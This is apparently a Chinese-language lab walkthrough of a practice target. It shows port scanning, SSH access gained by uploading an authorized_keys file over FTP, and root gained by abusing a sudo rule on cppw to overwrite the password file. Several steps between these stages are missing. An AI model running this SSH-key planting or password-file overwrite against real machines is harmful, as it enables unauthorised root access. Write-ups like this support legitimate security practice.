kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.134.108 [17:34:16] [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-23 17:34 CST Nmap scan report for 192.168.134.108 Host is up (0.020s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:67:07:CF (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.14 seconds
服务渗透
FTP没上去,是要用户名密码的
1 2 3 4 5 6 7 8 9
kali@kali [~] ➜ ftp 192.168.134.108 [17:34:28] Connected to 192.168.134.108. 220 ProFTPD Server (Debian) [::ffff:192.168.134.108] Name (192.168.134.108:kali): anonymous 331 Password required for anonymous Password: 530 Login incorrect. ftp: Login failed ftp>
80端口看一看
1 2 3
kali@kali [~] ➜ curl http://192.168.134.108 [17:36:06] I did a capture with wireshark. The name of the file is "capture" but i dont remember the extension :(
ftp> ls 229 Entering Extended Passive Mode (|||37157|) 150 Opening ASCII mode data connection for file list -rw-r--r-- 1 teste teste 748 Apr 23 08:37 authorized_keys -rw-r--r-- 1 teste teste 394 Jan 7 2021 id_rsa.pub 226 Transfer complete
1 2 3 4 5 6 7
ftp> put authorized_keys local: authorized_keys remote: authorized_keys 229 Entering Extended Passive Mode (|||12042|) 150 Opening BINARY mode data connection for authorized_keys 100% |****************************************************************| 748 5.36 MiB/s 00:00 ETA 226 Transfer complete 748 bytes sent in 00:00 (169.56 KiB/s)
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Apr 23 04:46:47 2025 from 192.168.134.141 teste@attack:~$
kratos@attack:/home/kratos$ ls a kratos@attack:/home/kratos$ sudo -l Matching Defaults entries for kratos on attack: !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kratos may run the following commands on attack: (root) NOPASSWD: /usr/sbin/cppw kratos@attack:/home/kratos$ sudo /usr/sbin/cppw a kratos@attack:/home/kratos$ su - sunrt Password: root@attack:~# id uid=0(root) gid=0(root) groups=0(root) root@attack:~#